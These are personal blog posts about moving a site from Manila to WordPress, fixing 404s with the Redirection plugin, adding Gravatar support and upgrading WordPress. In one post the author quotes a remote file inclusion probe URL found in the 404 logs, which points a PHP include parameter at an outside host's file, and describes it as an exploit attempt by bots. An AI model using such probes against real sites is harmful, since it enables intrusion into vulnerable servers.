Ten years ago

Ten years ago, give or take two weeks, I posted my first permanent update on my Manila site, the web site that morphed into this blog.

Userland Software‘s Manila was a hobby for me for a few months starting back in 1999. When I first got DSL (back when we still called it ADSL), it was new enough that no one really was clear about whether it was kosher to run a server from your house, and certainly new enough that Bell Atlantic (yes, this is before it was called Verizon) was filtering traffic upstream. So I ran an HTTP server on my Mac, using first personal web sharing and then Aretha to run a little web site.

Sometime later Dave Winer and Userland opened up EditThisPage.com, and I set up my own blog there, and that’s when it all took off. The site, originally hosted at jarretthousenorth.editthispage.com, was something I played with for a few months in early 2000. Then I went to B-school and stopped having time to play with things. Then I moved to Seattle for a summer by myself and had way too much time on my hands. And I started writing.

These days, I hardly have enough time to write at all, save for the occasional Glee Club history writeup. But I still think back to the technology that started it all, and I’m grateful to Dave for starting something big that turned into something big for me.

Rules for commenters

I didn’t think I’d have to do this, but recent battles on the comments pages of a couple of posts have forced me to spell out the rules of engagement if you want to comment on this blog:

  1. Be civil. Your mother doesn’t accept that kind of language from you and I shouldn’t have to either.
  2. Stay on topic. This shouldn’t be a problem but I’m  saying it just in case.
  3. This blog is about ideas and discussion. I welcome opposing points of view but calling religions evil and people liars is a good way to get banned. If you have an opposing viewpoint, you should be able to discuss it civilly without resorting  to namecalling. (Also see #1).
  4. I use Akismet, so your commercial spam messages about male enlargers and pyramid schemes will get filtered by a machine.
  5. I reserve the right to ban any commenter for violating any of these rules. I also reserve the right to close comments at any time. Currently I do that manually but I might move to doing it automatically based on the age of the post in the future.
  6. If you don’t like these rules but want to engage with me anyway, get your own blog and comment there, under your own name. Taking responsibility for one’s words and opinions in one’s own space is, in my opinion, a great way to engage on the Internet.

I’m going to build a document that refers to these points and link it into the commenting form as well.

Eight years and counting

True to form for this year, I’m almost a week late with this anniversary observance, but June 11 marked the eighth year of Jarrett House North as a blog. My site, originally started as an occasionally updated static vanity page on March 14, 2000, morphed into a blog during my summer internship at Microsoft in 2001, picked up steam as I finished my MBA, got embroiled in online metrics during my first year at Microsoft then got deep into blogging practice in 2004, did serious houseblogging in 2005, recovered from the aftermath of running the Sony Boycott blog in 2006, kept the pace going in 2007, and crunched the numbers in 2008.

So here’s a retrospective in quantity and quality:

Plus, I half feared that getting engaged with Twitter and Facebook in a serious way would kill this blog, but so far it hasn’t.

Not bad for an eight year old blog. That’s like an 80 year old in blog years.

Fixing a hole: Migrating a site structure with the Redirection plugin

Over the weekend, as previously noted, my hosting provider redirected two old versions of my blog to the new WordPress blog. When that change kicked in, it unleashed a storm of 404s as links pointing into the old site structure hit the new site structure.

There are a number of systematic changes from the old site to the new site:

  • Daily pages from my static site. These URLs look like /yyyy/mm/dd.html, and for whatever reason they weren’t redirecting to /yyyy/mm/dd/.
  • Category links from my dynamic site. This one was a mess, because there were at least two main ways of accessing my old category pages: /newsItems/department/n and /newsItems/viewDepartment$n.
  • RSS links. My old RSS link was at a different location, and apparently a lot of feed readers are still polling there.
  • Print-friendly links. Manila used to have a text-only print-friendly format; URLs with the ?print-friendly=true option were failing.
  • Differing site structures. Some of the changes were simply because I set up the new site differently.

Fortunately, most of the problems are easily solved with the help of regular expressions and the Redirection plug-in for WordPress. The redirect rules for the static date pages and the news item department pages were rewritten as follows:

  • ​/(d*)​/(d*)​/(d*).html –>/$1/$2/$3
  • ​/newsItems​/departments​/([a-zA-Z0-9]*) –> /category/$1/
  • ​/newsItems​/viewDepartment$([a-zA-Z0-9]*) –> /category/$1/

All made nice and straightforward, once you grok the syntax.

Of course, I could have used Apache’s .htaccess and these regex rules, but the big advantage of the Redirection plugin is that it counts how many times each rule is used, and links the 404 log into the rules writing engine in a very clever way. It’s very simple to find a 404, write a rule, test the rule to verify that the filter is working, and then go on your merry way.

I did have to make a decision to turn off some functionality. I don’t have mailto any more, my old sitemap is gone and not coming back, and some other odds & ends are not to return. I’ve enumerated those in my Blog Feature Graveyard.

Consolidation time

Just a quick housekeeping note–over the weekend my hosting provider finally consolidated my www, discuss, and wp.jarretthousenorth.com sites onto one machine. You can go ahead and head over to www.jarretthousenorth.com now.

With this consolidation, my Manila blog is finally no more. I cut my blogging teeth on Edit This Page and the other features which at the time were state of the art, but which didn’t move as fast as the revolution they spawned.

Jarrett House North became a WordPress site last year, but the old version of the site lived on at two different web addresses — which didn’t help my Google presence at all. Now, though, you can find me at www, discuss, or wp.jarretthousenorth.com and it will all be the same site.

I have a few broken links to fix, so bear with me. I have to mention in passing that I highly recommend the superb Redirection plugin for finding and fixing 404s on a WordPress site.

Now serving Gravatars

WordPress 2.5 and later have built-in support for Gravatars — site-independent avatars. They’re basically small pictures that can appear next to your comments across multiple sites, depending on the email address you registered with the main Gravatar site.

I hadn’t gotten around to hacking the theme I’m using–which apparently predates WP 2.5–for Gravatar support, but (per the Codex) adding the support was trivial. I added this line of code in the comments loop and was all set, aside from some trivial additions to the CSS to display the gravatar in the right place:

<?php
echo get_avatar( $comment, $size = '48' );
?>

You can see what it looks like below. And if you sign up with the service, when you leave a comment on my blog your avatar (G-rated only–my blog policy enforces it) will appear next to your comment. Nice trick.

WordPress 2.7 First Impressions

I just did the upgrade to WordPress 2.7 on my server and am getting to know it. My first impressions:

  1. The upgrade was smoother this time, perhaps because I knew what I was doing. I didn’t even have to clear cookies to make it work.
  2. The admin interface, which is the major focus of this release, UI wise, is going to take some getting used to. It’s busier than the old interface, which is rarely good. And I’ve already published my criticism of the left hand navigation. The good news is that for the most part it’s getting out of my way and letting me write.
  3. The posting interface is more cluttered too. I never had to bother about the autosave notices before, because they stayed out of the way and were discreet in white text against a dark background. The autosave notices now are very visible when they happen, and pretty distracting. And after the last interface the new screens seem a little washed out (I’m using the blue color scheme).
  4. It took me a few seconds to figure out that the “Edit” link in the Posts module would take me to a list of all my posts–that used to be the Manage Posts link. I understand the reason for the change, but Edit isn’t the first thing I think about when I’m searching through my old posts, my most frequent reason for visiting that part of the admin interface.

The only plugin issue I had was with Simple Tags. On the reboot a notice advised me that I should use “Simple Tagging” by the same author instead. This doesn’t appear to have been correct; all I needed to do was upgrade Simple Tags.

Redirecting away from lost comments

I thought I had linked to Urban Giraffe’s great Redirection WordPress plug-in, but there was a glitch between Ubiquity and Delicious and the link didn’t get saved. Ah well. The point is that Redirection makes it dead simple to do two things: track 404s (dead links) that users hit on your site, and create redirects so that people coming to that link get served valid content.

I’ve been going through the process of reviewing the 404s for the first few days, and have found three general types of 404:

  1. Old Manila stories that were part of my old site structure but didn’t get published in the same way on WordPress. This is easy to fix, because WordPress lets you edit the “pretty URL” for these pages directly.
  2. Attack URLs. These tend to look like /inc​/cmses​/aedatingCMS.php?dir[inc]=http:​/​/rfi.at.ua​/test.txt?? and represent bots trying to exploit known software vulnerabilities. I generally am ignoring these right now.
  3. Permalinks to comments.

This third one is the sad part. Somewhere along the way, whether when I turned off comments on my Manila site or at some other point, all the old comments on my posts were lost. So there’s nowhere for me to redirect: the content’s gone. Comments ranging from the banal to the friendly, from Dave Sifry of Technorati pre-announcing link voting to the late Anita Rowland reminding me to follow up on a post on universal remotes.

I’m now going through the sad task of removing those links one at a time on this site. I guess entropy is alive and well.

But the point is that Redirection is a great WP plugin.

Decompressing

As one might gather from the week of linkblog posts, it’s been a little hard making the transition away from all-election, all the time blogging, though for different reasons than back in 2004. While then I couldn’t believe that half the country enjoyed George W. Bush’s regime enough to bring it back for four more years, now I don’t want to blink for fear it will go away.

And there have been some other things that have happened too–like getting rushed out of our office by a gas main that was broken open by construction staff last week. Or briefly thinking I had to do a four week travel stint to support a client, before cooler heads prevailed.

Plus, I’ve been fighting a cold. So it’s kind of been the perfect storm of blogkill.

While you’re patching: WordPress 2.6.3 is out

A quick heads up for the publication of WordPress 2.6.3, which I missed yesterday thanks to my site’s slowness. This is a straightforward patch release with an update for one PHP class, snoopy, which has a now-patched command injection vulnerability. Mercifully, the patch files are available directly from the blog post, making this the easiest WordPress upgrade yet.

The reports of this site’s death by entropy…

…are greatly exaggerated. However, I think I’ve fixed the inexplicable slowdowns that have plagued the site since sometime on Tuesday or Wednesday. It looks like the issue was related to a plugin, Google XML Sitemaps. Although there had been a few posts since Tuesday, it hadn’t functioned correctly since Tuesday and I think it had gotten hosed up. Disabling the plugin seemed to fix the slowdown, and I’ve since reenabled it without incident. Hopefully there won’t be any additional slowdowns.

Akismet update 2.1.8 fixes “delete all” problem

A quick note to those who live and die by Akismet’s comment spam filtering: recent versions of Akismet appeared to have broken the ability to delete your spam comments, but version 2.1.8, released late yesterday, fixes the bug. Not a showstopping bug by any stretch of the imagination, since the plugin automatically flushes spam comments after 15 days anyway, but I was impressed with the responsiveness of the team when I reported the issue yesterday morning and the fix was available today.

BTW, Akismet just caught my 500th piece of comment spam (in a four month period).

WordPress 2.6.1 is out

After the difficulty I had with the WordPress 2.6 upgrade, I was both hopeful that 2.6.1 would fix some of the bugs, and a little hesitant about the upgrade. Apparently both my anticipations were incorrect. WordPress 2.6.1 was released yesterday, and while there’s no explicit mention of the admin cookie bug that I hit on the 2.6 upgrade, my own upgrade to 2.6.1 was pretty easy.

The full fixed bug list is on the WordPress Trac, so you may want to see if there’s any fixes you need. As another commenter pointed out, there are few security fixes, but that doesn’t mean there aren’t any–the thing about a plugin without headers not appearing on the plugins page raises concerns about hidden malware that might be worth upgrading to avoid. Just remember to clear your cookies before you try to log back into the admin console after the upgrade.

Update: Images and WordPress 2.6

I may have been too hasty to condemn the WordPress for iPhone app. One of my criticisms was that it couldn’t upload a photo to my site. Well, I just discovered that I couldn’t either, even using the browser. This appears to be another issue with WordPress 2.6.

Fortunately the fix is simple: fill in the otherwise optional Full URL path to files (optional) field on the Settings » Miscellaneous section of your control panel with the actual path to your images–usually http://yourdomain.com/yourwordpressdirectory/wp-content/–and save the settings. The forum doesn’t have a consensus on what caused this optional field to become mandatory, but that appears to fix it for most users.

WordPress 2.6 upgrade–fixing a login problem

This blog is now running WordPress 2.6. This was the first WordPress update I had done since moving to the platform, and I thought I’d share a few pointers:

  1. Follow the extended directions, particularly the ones about backing up your installation and deactivating plugins.
  2. You may see references to a plugin for automatic updates. No offense to the developer, but it really is beta. It didn’t work for my upgrade to 2.6.
  3. After doing the upgrade, clear your cookies or you may not be able to log into your control panel.

I thought I had done step #3 but I hadn’t. When I couldn’t log in, I had a moment of panic, and ended up rolling back my whole site to last night’s backup with help from Erin at Weblogger. Repeating the process with a cooler head resolved the issue.